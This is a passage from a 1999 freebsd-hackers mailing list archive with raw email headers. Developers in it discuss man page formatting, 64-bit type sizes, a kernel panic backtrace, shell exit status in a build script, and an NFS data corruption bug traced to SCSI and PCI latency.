-0500 (CDT envelope-from chris) Date: Sat, 28 Aug 1999 10:39:53 -0500 From: Chris Costello Subject: Re: Please review: rc file changes In-reply-to: <19990828102835.B49983@ppp18415.on.bellglobal.com> To: hoek@FreeBSD.org Cc: Mike Pritchard , freebsd-hackers@FreeBSD.org Reply-To: chris@calldei.com Message-id: <19990828103953.A34528@holly.calldei.com> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii User-Agent: Mutt/0.96.4i References: <19990828052723.G25872@holly.calldei.com> <199908281045.FAA98239@mpp.pro-ns.net> <19990828102835.B49983@ppp18415.on.bellglobal.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Aug 28, 1999, Tim Vanderhoek wrote: > A sentence ends > .Ar here . > But this new one has a single space preceeding it. Does adding a space after the `.' at the end of your line help? -- |Chris Costello |**FLASH** Energizer Bunny arrested, charged with battery. `---------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 9: 3:59 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp02.teb1.iconnet.net (smtp02.teb1.iconnet.net [209.3.218.43]) by hub.freebsd.org (Postfix) with ESMTP id 132F714D62; Sat, 28 Aug 1999 09:03:45 -0700 (PDT) (envelope-from babkin@bellatlantic.net) Received: from bellatlantic.net (client-117-193.bellatlantic.net [151.198.117.193]) by smtp02.teb1.iconnet.net (8.9.1/8.9.1) with ESMTP id MAA27166; Sat, 28 Aug 1999 12:00:06 -0400 (EDT) Message-ID: <37C8086A.2B9412FB@bellatlantic.net> Date: Sat, 28 Aug 1999 12:03:54 -0400 From: Sergey Babkin X-Mailer: Mozilla 4.07 [en] (X11; I; FreeBSD 3.0-980222-SNAP i386) MIME-Version: 1.0 To: Mark Ovens Cc: Thomas David Rivers , freebsd-hackers@freebsd.org, freebsd-questions@freebsd.org, kdrobnac@mission.mvnc.edu Subject: Re: Intel Merced FreeBSD??? References: <199908271229.IAA35280@lakes.dignus.com> <37C7312B.EE446A5C@bellatlantic.net> <19990828020123.C291@marder-1> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mark Ovens wrote: > > On Fri, Aug 27, 1999 at 08:45:31PM -0400, Sergey Babkin wrote: > > > > A funny thing is that Microsoft is porting essentially a > > 32-bit version of Windows to Merced. All the programs for > > Windows that want to use 64-bit support will have to be > > modified because the MS compiler defines both int and long > > as 32-bit. On the other hand the Unix compilers (at least > > UnixWare and as far as I understood that's the common Unix > > convention) provide a mode with 64-bit longs that gives > > certain degree of 64-bit awareness just by recompiling. > > > > marder-1:/usr/marko{57}% cat > size.c > #include > > int main (void) > { > printf("short == %d\n", sizeof(short)); > printf("int == %d\n", sizeof(int)); > printf("long == %d\n", sizeof(long)); > printf("long long == %d\n", sizeof(long long)); > > return(0); > } > ^D > marder-1:/usr/marko{57}% cc !$ > marder-1:/usr/marko{57}% ./a.out > short == 2 > int == 4 > long == 4 > long long == 8 > marder-1:/usr/marko{57}% > > And the same is true on SunOS 4.1.x as well (although not 100% sure > about "long long"). I was talking about compilers for the 64-bit machines. As far as I understood to make porting easier the major Unix vendors have agreed on 2 64-bit modes in addition to the compatibility 32-bit mode: - 32-bit int, 32-bit long, 64-bit long long, 64-bit pointers - 32-bit int, 64-bit long, 64-bit long long, 64-bit pointers While the 64-bit Windows NT has 32-bit int, 32-bit long, 64-bit long long, 32-bit pointers, 64-bit some special kind of pointers. Although I may be confusing something. -SB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 9:16:17 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp02.wxs.nl (smtp02.wxs.nl [195.121.6.60]) by hub.freebsd.org (Postfix) with ESMTP id 9A2291530C; Sat, 28 Aug 1999 09:16:04 -0700 (PDT) (envelope-from asmodai@wxs.nl) Received: from daemon.ninth-circle.org ([195.121.196.75]) by smtp02.wxs.nl (Netscape Messaging Server 3.61) with ESMTP id AAB43CD; Sat, 28 Aug 1999 18:14:24 +0200 Received: (from asmodai@localhost) by daemon.ninth-circle.org (8.9.3/8.9.3) id SAA46249; Sat, 28 Aug 1999 18:13:10 +0200 (CEST) (envelope-from asmodai) Date: Sat, 28 Aug 1999 18:13:10 +0200 From: Jeroen Ruigrok/Asmodai To: Mike Pritchard Cc: freebsd-hackers@freebsd.org, freebsd-doc@freebsd.org, phantom@cris.net Subject: Re: Propose mdoc fix regarding ERRORS section Message-ID: <19990828181310.B46221@daemon.ninth-circle.org> References: <199908280729.CAA93164@mpp.pro-ns.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.7i In-Reply-To: <199908280729.CAA93164@mpp.pro-ns.net> Organisation: Ninth-Circle Enterprises Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Mike Pritchard (mpp@mpp.pro-ns.net) [990828 11:44]: >>Category: docs >>Synopsis: src/lib/libc/sys/*.2 misc patch pack >- first column in most ERROR lists is too narrow. Normalize their width. > >Right now we have a problem with our on-line man pages. Most were >written when the length of errno's were only 6 - 8 characters long. >Now we have errno's that can be up to 15 characters long. Many >of our man pages have the following mdoc instruction (or something >similar) to ensure that the field width for the errno is appropriate: > >.Bl -tag -width EBADFXXX Most lists do actually. But you already know =) >.Bl -tag -width Er > >Which will reserve enough space for the errno name based on what >width the Er macro specifies. Right now it doesn't allocate enough >width to contain our largest errno's. > >I propose that we fix mdoc to allocate enough width when the second >form is specified, and then change all of the man pages to use that >format in the ERRORS section. I think using -width Er and setting the Er constant to a higher value might be the best thing. Offcourse we need to check all of the manpages in order whether they use -width EBLAHBLAH or -width Er. If you need help, please yell. -- Jeroen Ruigrok van der Werven asmodai(at)wxs.nl The BSD Programmer's Documentation Project Network/Security Specialist BSD: Technical excellence at its best Fame is the perfume of heroic deeds. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 9:19:23 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from heathers.stdio.com (heathers.stdio.com [199.89.192.5]) by hub.freebsd.org (Postfix) with ESMTP id AB8C614D62 for ; Sat, 28 Aug 1999 09:19:13 -0700 (PDT) (envelope-from lile@stdio.com) Received: from heathers.stdio.com (lile@heathers.stdio.com [199.89.192.5]) by heathers.stdio.com (8.8.8/8.8.8) with ESMTP id MAA14638 for ; Sat, 28 Aug 1999 12:18:38 -0400 (EDT) (envelope-from lile@stdio.com) Date: Sat, 28 Aug 1999 12:18:38 -0400 (EDT) From: Larry Lile To: hackers@freebsd.org Subject: Panic in pmap_remove_pages on 4.0-current Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Anybody seen this before? I was building gtk12 in /usr/ports which died with a sig 11. I restarted it and it panic'd sometime later. Crash and kernel file available on anonymous ftp at ftp://chaos.stdio.com/pub/crash. anarchy# gdb -k /var/crash/kernel.0 -c /var/crash/vmcore.0 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... IdlePTD 3018752 initial pcb at 271c20 panicstr: page fault panic messages: --- Fatal trap 12: page fault while in kernel mode fault virtual address = 0xc15d7ff0 fault code = supervisor write, page not present instruction pointer = 0x8:0xc020ff38 stack pointer = 0x10:0xc8d95ef0 frame pointer = 0x10:0xc8d95f00 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 31445 (sh) interrupt mask = net bio cam trap number = 12 panic: page fault syncing disks... 11 done dumping to dev (13,196609), offset 0 dump 128 127 126 125 124 123 122 121 120 119 118 117 116 115 114 113 112 111 110 109 1 08 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90 89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28 27 26 2 5 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 --- #0 boot (howto=256) at ../../kern/kern_shutdown.c:291 291 dumppcb.pcb_cr3 = rcr3(); (kgdb) bt #0 boot (howto=256) at ../../kern/kern_shutdown.c:291 #1 0xc0144331 in panic (fmt=0xc02472cf "page fault") at ../../kern/kern_shutdown.c:515 #2 0xc021227a in trap_fatal (frame=0xc8d95eb0, eva=3244130288) at ../../i386/i386/trap.c:907 #3 0xc0211f2d in trap_pfault (frame=0xc8d95eb0, usermode=0, eva=3244130288) at ../../i386/i386/trap.c:800 #4 0xc0211b6f in trap (frame={tf_fs = 16, tf_es = 16, tf_ds = 16, tf_edi = 0, tf_esi = -1066564500, tf_ebp = -925278464, tf_isp = -925278500, tf_ebx = -1066592668, tf_edx = -943206164, tf_ecx = -1050837008, tf_eax = -1066564500, tf_trapno = 12, tf_err = 2, tf_eip = -1071579336, tf_cs = 8, tf_eflags = 66182, tf_esp = -943206272, tf_ss = 0}) at ../../i386/i386/trap.c:426 #5 0xc020ff38 in pmap_remove_pages (pmap=0xc7c7d0e4, sva=0, eva=3217022976) at ../../i386/i386/pmap.c:2981 #6 0xc013dcdf in exit1 (p=0xc8d89ba0, rv=0) at ../../kern/kern_exit.c:219 #7 0xc013daf0 in exit1 (p=0xc8d89ba0, rv=17) at ../../kern/kern_exit.c:106 #8 0xc02124be in syscall (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = 1, tf_esi = -1077945183, tf_ebp = -1077948100, tf_isp = -925278252, tf_ebx = 1, tf_edx = 0, tf_ecx = 135127040, tf_eax = 1, tf_trapno = 12, tf_err = 2, tf_eip = 134653456, tf_cs = 31, tf_eflags = 642, tf_esp = -1077948180, tf_ss = 47}) at ../../i386/i386/trap.c:1056 #9 0xc02041a6 in Xint0x80_syscall () Cannot access memory at address 0xbfbfd13c. (kgdb) Larry Lile lile@stdio.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 9:35:56 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (Postfix) with SMTP id 3EA8614DED; Sat, 28 Aug 1999 09:35:46 -0700 (PDT) (envelope-from luigi@labinfo.iet.unipi.it) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id PAA15431; Sat, 28 Aug 1999 15:55:27 +0200 From: Luigi Rizzo Message-Id: <199908281355.PAA15431@labinfo.iet.unipi.it> Subject: Re: Help with exit status in shell script To: roger@cs.strath.ac.uk (Roger Hardiman) Date: Sat, 28 Aug 1999 15:55:27 +0200 (MET DST) Cc: hackers@freebsd.org, luigi@freebsd.org, abial@freebsd.org In-Reply-To: <37C79822.D28CD168@cs.strath.ac.uk> from "Roger Hardiman" at Aug 28, 99 09:04:31 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 759 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hi, > There is a bug in the PicoBSD build shell script in and I have no idea > how to fix it. As a result, build errors are not caught. > It is all to do with Exit Status of programs called from a shell script. > Please help. > > The code fragment from /usr/src/release/picobsd/build/build is > ./stage1 2>&1 | tee stage1.out given that there is, in the same script, a "fail" procedure to handle such cases, i believe you could do something like (./stage1 2>&1 || fail $? stage1_failed ) | tee stage1.out (where the $? has nothing special, just that the "fail" procedre expects the errcode as first argument). If it turns out to be problematic, for 3.3R you could as well remove the "tee", after all it was just there for debugging. cheers luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 10:12:42 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id DCBE61566D for ; Sat, 28 Aug 1999 10:12:40 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA04963; Sat, 28 Aug 1999 10:12:38 -0700 (PDT) (envelope-from dillon) Date: Sat, 28 Aug 1999 10:12:38 -0700 (PDT) From: Matthew Dillon Message-Id: <199908281712.KAA04963@apollo.backplane.com> To: hackers@FreeBSD.ORG Subject: Should cam_imask be part of bio_imask ? Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm trying to track down some VFS/BIO corruption on an NFS server being tested under heavy loads and noticed that my SCSI interrupts do not appear to be blocked by splbio(). (The adaptec's are on irq 5 and irq 12) (kgdb) print bio_imask $1 = 0x40080040 (kgdb) print cam_imask $2 = 0x400c1020 (kgdb) This doesn't sound right to me. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 10:35:22 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (Postfix) with ESMTP id ABCA7155EE for ; Sat, 28 Aug 1999 10:35:20 -0700 (PDT) (envelope-from julian@whistle.com) Received: from current1.whistle.com (current1.whistle.com [207.76.205.22]) by alpo.whistle.com (8.9.1a/8.9.1) with SMTP id KAA09068; Sat, 28 Aug 1999 10:33:21 -0700 (PDT) Date: Sat, 28 Aug 1999 10:33:52 -0700 (PDT) From: Julian Elischer To: Matthew Dillon Cc: hackers@FreeBSD.ORG Subject: Re: Should cam_imask be part of bio_imask ? In-Reply-To: <199908281712.KAA04963@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Isn't all the work in CAM done at splsoftcam? (or am I thinking of old code) It starts off an ISR similar to the netisr doesn't it? On Sat, 28 Aug 1999, Matthew Dillon wrote: > I'm trying to track down some VFS/BIO corruption on an NFS server > being tested under heavy loads and noticed that my SCSI interrupts > do not appear to be blocked by splbio(). > > (The adaptec's are on irq 5 and irq 12) > > (kgdb) print bio_imask > $1 = 0x40080040 > (kgdb) print cam_imask > $2 = 0x400c1020 > (kgdb) > > This doesn't sound right to me. > > -Matt > Matthew Dillon > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 10:42: 6 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 8531C155EE; Sat, 28 Aug 1999 10:42:03 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA05273; Sat, 28 Aug 1999 10:38:30 -0700 (PDT) (envelope-from dillon) Date: Sat, 28 Aug 1999 10:38:30 -0700 (PDT) From: Matthew Dillon Message-Id: <199908281738.KAA05273@apollo.backplane.com> To: Mike Pritchard Cc: chris@calldei.com, freebsd-hackers@FreeBSD.ORG Subject: Re: Please review: rc file changes References: <199908281045.FAA98239@mpp.pro-ns.net> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> I've never heard of that. I've always found that two spaces :> after end-of-sentence punctuation makes things easier to read! : :I vote for two spaces after the period before the start of a new sentence. :Even in the digital age, I've always found that the two spaces make :for better reading of text. I think that most of our formatting :tools do this too (please don't flame me if I'm wrong :-). : :-Mike :-- :Mike Pritchard :mpp@FreeBSD.org or mpp@mpp.pro-ns.net I guess they don't teach manual typewriting classes any more :-) It *had* to be two spaces or you got seriously marked down! Two spaces has been burned into my brain since high school! (I wonder if I can sue?) . For proof, just look at all the postings I've ever made to these lists. I'm not nitpicking... I couldn't care less what other people do. But I think it's an amusing generational effect. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 10:42:37 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 9D9DA156A2 for ; Sat, 28 Aug 1999 10:42:26 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.8.7/8.8.7) with ESMTP id KAA02346; Sat, 28 Aug 1999 10:40:49 -0700 Date: Sat, 28 Aug 1999 10:40:48 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Julian Elischer Cc: Matthew Dillon , hackers@FreeBSD.ORG Subject: Re: Should cam_imask be part of bio_imask ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Isn't all the work in CAM done at splsoftcam? Not all. There's completions done at splcam. I've had some worries and concerns about this, but (wince) I really have to admit that the ins and outs of the cam code often escape me, and they're documented only in the DNA of certain human subspecies that reside in Colorado..... > (or am I thinking of old code) > It starts off an ISR similar to the netisr doesn't it? > > On Sat, 28 Aug 1999, Matthew Dillon wrote: > > > I'm trying to track down some VFS/BIO corruption on an NFS server > > being tested under heavy loads and noticed that my SCSI interrupts > > do not appear to be blocked by splbio(). > > > > (The adaptec's are on irq 5 and irq 12) > > > > (kgdb) print bio_imask > > $1 = 0x40080040 > > (kgdb) print cam_imask > > $2 = 0x400c1020 > > (kgdb) > > > > This doesn't sound right to me. > > > > -Matt > > Matthew Dillon > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-hackers" in the body of the message > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 10:48:28 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 3C6361567C for ; Sat, 28 Aug 1999 10:48:02 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA05365; Sat, 28 Aug 1999 10:46:48 -0700 (PDT) (envelope-from dillon) Date: Sat, 28 Aug 1999 10:46:48 -0700 (PDT) From: Matthew Dillon Message-Id: <199908281746.KAA05365@apollo.backplane.com> To: Matthew Jacob Cc: Julian Elischer , hackers@FreeBSD.ORG Subject: Re: Should cam_imask be part of bio_imask ? References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> Isn't all the work in CAM done at splsoftcam? : :Not all. There's completions done at splcam. I've had some worries and :concerns about this, but (wince) I really have to admit that the ins and :outs of the cam code often escape me, and they're documented only in the :DNA of certain human subspecies that reside in Colorado..... Hmm, ok. Shoot. This is what I'm getting. If I have an NFS server and client running CURRENT, and (from the client) I copy the CVS repository from the server to the client, and then diff them, I get little discrepancies. An example is included below. *** /FreeBSD/FreeBSD-CVS/src/sys/pci/ncr.c,v Fri Aug 27 17:51:03 1999 --- /home/ncvs/src/sys/pci/ncr.c,v Fri Aug 27 17:51:03 1999 *************** *** 12211,12217 **** d55 1 d1345 1 a1345 1 ! "\nhis product 1.112 1997/11/07 09:20:56 phk Exp $\n"; @ --- 12211,12217 ---- d55 1 d1345 1 a1345 1 ! "\n$Id: ncr.c,v 1.112 1997/11/07 09:20:56 phk Exp $\n"; @ I'm still experimenting trying to focus in on where the problem is. It is a very weird problem. Sometimes the errors are small, sometimes who pages are wrong. The scary part is that they are wrong in the server's cache! If I catch the error quickly enough and cat the file on the server, the error shows up on the server! If I then, on the server, eat up memory to flush the caches and then cat the file again, the error is gone again. I'm going to try changing it over from an NFSv3 to an NFSv2 mount to see if that does anything. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 10:55:22 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 86A9C14BE3 for ; Sat, 28 Aug 1999 10:55:20 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.8.7/8.8.7) with ESMTP id KAA02389; Sat, 28 Aug 1999 10:53:39 -0700 Date: Sat, 28 Aug 1999 10:53:37 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Matthew Dillon Cc: "Justin T. Gibbs" , hackers@FreeBSD.ORG Subject: Re: Should cam_imask be part of bio_imask ? In-Reply-To: <199908281746.KAA05365@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I strongly doubt that this is a CAM isr problem- the error pattern isn't entirely clear from what you said, but it looks more like a FIFO or CACHE LINE sized type of problem- it looks to be < 16 bytes, but not a short count. Because this isn't one of the wacky systems I spent most of my career on at Sun where the first and usual suspect was a system memory cache line because IO wasn't cache coherent on Suns between the Sun 3/{50,60,75,150} and the advent SuperSparc Viking Chipset, I'd guess a FIFO somewhere in the I/O movement path. Justin- any changes lately where flushing a FIFO in the Adaptec at the end of tranfer might have been spoodged? -matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 11: 1:40 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [209.157.86.2]) by hub.freebsd.org (Postfix) with ESMTP id 7F67214BE3 for ; Sat, 28 Aug 1999 11:01:38 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id LAA05485; Sat, 28 Aug 1999 11:00:31 -0700 (PDT) (envelope-from dillon) Date: Sat, 28 Aug 1999 11:00:31 -0700 (PDT) From: Matthew Dillon Message-Id: <199908281800.LAA05485@apollo.backplane.com> To: Matthew Jacob Cc: "Justin T. Gibbs" , hackers@FreeBSD.ORG Subject: Re: Should cam_imask be part of bio_imask ? References: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :I strongly doubt that this is a CAM isr problem- the error pattern isn't :entirely clear from what you said, but it looks more like a FIFO or CACHE :LINE sized type of problem- it looks to be < 16 bytes, but not a short :count. Because this isn't one of the wacky systems I spent most of my :career on at Sun where the first and usual suspect was a system memory :cache line because IO wasn't cache coherent on Suns between the Sun :3/{50,60,75,150} and the advent SuperSparc Viking Chipset, I'd guess a :FIFO somewhere in the I/O movement path. : :Justin- any changes lately where flushing a FIFO in the Adaptec at the end :of tranfer might have been spoodged? : :-matt The problem is definitely aligned in some way. Here's a diff of a hexdump of one error. Sometimes I lose a whole page, sometimes two pages, sometimes 16 bytes, but the error is always page aligned. 1536c1536 < 0005ff0 3333 2033 3434 3434 7c20 207c 3030 3030 --- > 0005ff0 7365 3d20 3120 093b 2309 6720 6f6c 6162 A cache-line problem would fit the symptoms. I know it isn't the hardware... this 1xCPU PPro/200 system has been with me for several years and this test didn't fail like this a month ago. When I updated the machine last (unfortunately w/ about a month's worth of changes), my buildworlds started failing with odd errors. I then switched away from the failing buildworlds (which take an hour) and started doing cp -r's and then diff -r's (takes only 20 min), and as you can see I'm still seeing the problem. Maybe this is DMA related. Perhaps the cache is not getting cleared? Maybe an MMU optimization someone threw in recently? -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 11: 3:48 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 79DB614CFC for ; Sat, 28 Aug 1999 11:03:45 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.8.7/8.8.7) with ESMTP id LAA02445; Sat, 28 Aug 1999 11:03:46 -0700 Date: Sat, 28 Aug 1999 11:03:45 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Matthew Dillon Cc: "Justin T. Gibbs" , hackers@FreeBSD.ORG Subject: Re: Should cam_imask be part of bio_imask ? In-Reply-To: <199908281800.LAA05485@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > :I strongly doubt that this is a CAM isr problem- the error pattern isn't > :entirely clear from what you said, but it looks more like a FIFO or CACHE > :LINE sized type of problem- it looks to be < 16 bytes, but not a short > :count. Because this isn't one of the wacky systems I spent most of my > :career on at Sun where the first and usual suspect was a system memory > :cache line because IO wasn't cache coherent on Suns between the Sun > :3/{50,60,75,150} and the advent SuperSparc Viking Chipset, I'd guess a > :FIFO somewhere in the I/O movement path. > : > :Justin- any changes lately where flushing a FIFO in the Adaptec at the end > :of tranfer might have been spoodged? > : > :-matt > > The problem is definitely aligned in some way. Here's a diff of > a hexdump of one error. Sometimes I lose a whole page, sometimes two > pages, sometimes 16 bytes, but the error is always page aligned. > > 1536c1536 > < 0005ff0 3333 2033 3434 3434 7c20 207c 3030 3030 > --- > > 0005ff0 7365 3d20 3120 093b 2309 6720 6f6c 6162 > > A cache-line problem would fit the symptoms. I know it isn't the > hardware... this 1xCPU PPro/200 system has been with me for several > years and this test didn't fail like this a month ago. When I updated > the machine last (unfortunately w/ about a month's worth of changes), > my buildworlds started failing with odd errors. > > I then switched away from the failing buildworlds (which take an hour) > and started doing cp -r's and then diff -r's (takes only 20 min), and as > you can see I'm still seeing the problem. > > Maybe this is DMA related. Perhaps the cache is not getting cleared? > Maybe an MMU optimization someone threw in recently? That's possible too- I'll admit I'm a bit hazy on i386 specifics- it's always been a "just works wrt I/O" so for all I know there's a required i/o flush command when you switch mappings. Gawd I hate these kind of problems. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 11:34:32 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dingo.cdrom.com (castles558.castles.com [208.214.165.122]) by hub.freebsd.org (Postfix) with ESMTP id 2A55D14CFC for ; Sat, 28 Aug 1999 11:34:29 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (LOCALHOST [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id LAA07726; Sat, 28 Aug 1999 11:26:09 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199908281826.LAA07726@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: mjacob@feral.com Cc: Matthew Dillon , "Justin T. Gibbs" , hackers@FreeBSD.ORG Subject: Re: Should cam_imask be part of bio_imask ? In-reply-to: Your message of "Sat, 28 Aug 1999 10:53:37 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 28 Aug 1999 11:26:08 -0700 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > I strongly doubt that this is a CAM isr problem- the error pattern isn't > entirely clear from what you said, but it looks more like a FIFO or CACHE > LINE sized type of problem- it looks to be < 16 bytes, but not a short > count. Because this isn't one of the wacky systems I spent most of my > career on at Sun where the first and usual suspect was a system memory > cache line because IO wasn't cache coherent on Suns between the Sun > 3/{50,60,75,150} and the advent SuperSparc Viking Chipset, I'd guess a > FIFO somewhere in the I/O movement path. > > Justin- any changes lately where flushing a FIFO in the Adaptec at the end > of tranfer might have been spoodged? If you happen to be using an Adaptec SCSI controller on the server, check your PCI bus latency setting. We've seen several reports now of this sort of stuff getting corrupted as a side-effect of the Adaptec parts being arbitrated off the bus too quickly. If you're doing lots of network traffic, the chances are a lot better that you'll hit this. 32 is a value that seems to cause problems; try 80 or so. -- \\ The mind's the standard \\ Mike Smith \\ of the man. \\ msmith@freebsd.org \\ -- Joseph Merrick \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Aug 28 11:54:16 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from sasami.jurai.net (sasami.jurai.net [63.67.141.99]) by hub.freebsd.org (Postfix) with ESMTP id 7933614C80; Sat, 28 Aug 1999 11:54:10 -0700 (PDT) (envelope-from winter@jurai.net) Received: from localhost (winter@localhost) by sasami.jurai.net (8.8.8/8.8.7) with ESMTP id 